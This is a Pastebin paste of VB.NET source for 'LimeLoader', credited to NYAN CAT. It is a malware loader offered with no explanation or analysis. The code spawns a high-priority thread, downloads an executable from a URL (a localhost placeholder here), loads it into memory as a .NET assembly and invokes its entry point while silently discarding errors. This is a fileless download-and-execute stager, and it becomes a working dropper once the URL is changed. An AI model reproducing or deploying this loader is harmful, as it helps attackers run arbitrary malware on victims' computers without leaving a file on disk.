ibrahim_elsakka

Lime-Loader [4]

Nov 4th, 2020
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. '// LimeLoader : NYAN CAT
  2.  
  3. Imports System.Net
  4. Imports System.Threading
  5. Imports System.Reflection
  6.  
  7. Public Class Program
  8.     Public Shared Sub Main()
  9.         Dim T As Thread = New Thread(New ThreadStart(AddressOf Lime.Loader))
  10.         T.Priority = ThreadPriority.Highest
  11.         T.IsBackground = False
  12.         T.Start()
  13.     End Sub
  14. End Class
  15.  
  16. Public Class Lime
  17.     Public Shared Sub Loader()
  18.         GetWeb("http://127.0.0.1:80/payload.exe")
  19.     End Sub
  20.  
  21.     Public Shared Function GetWeb(ByVal URL As String) As Byte()
  22.         Try
  23.             Dim WC As New WebClient
  24.             Dim Data As Byte() = WC.DownloadData(URL)
  25.             WC.Dispose()
  26.             Return GetLoad(Data)
  27.         Catch ex As Exception
  28.         End Try
  29.     End Function
  30.  
  31.     Public Shared Function GetLoad(ByVal Data As Byte())
  32.         Try
  33.             If Data IsNot Nothing Then
  34.                 Return GetEP(Assembly.Load(Data))
  35.             End If
  36.         Catch ex As Exception
  37.         End Try
  38.     End Function
  39.  
  40.     Public Shared Function GetEP(ByVal Data As Assembly)
  41.         Try
  42.             If Data IsNot Nothing Then
  43.                 If Data.EntryPoint.GetParameters().Length > 0 Then
  44.                     Return Data.EntryPoint.Invoke(Nothing, New Object() {Nothing})
  45.                 Else
  46.                     Return Data.EntryPoint.Invoke(Nothing, Nothing)
  47.                 End If
  48.             End If
  49.         Catch ex As Exception
  50.         End Try
  51.     End Function
  52. End Class
Add Comment
Please, Sign In to add comment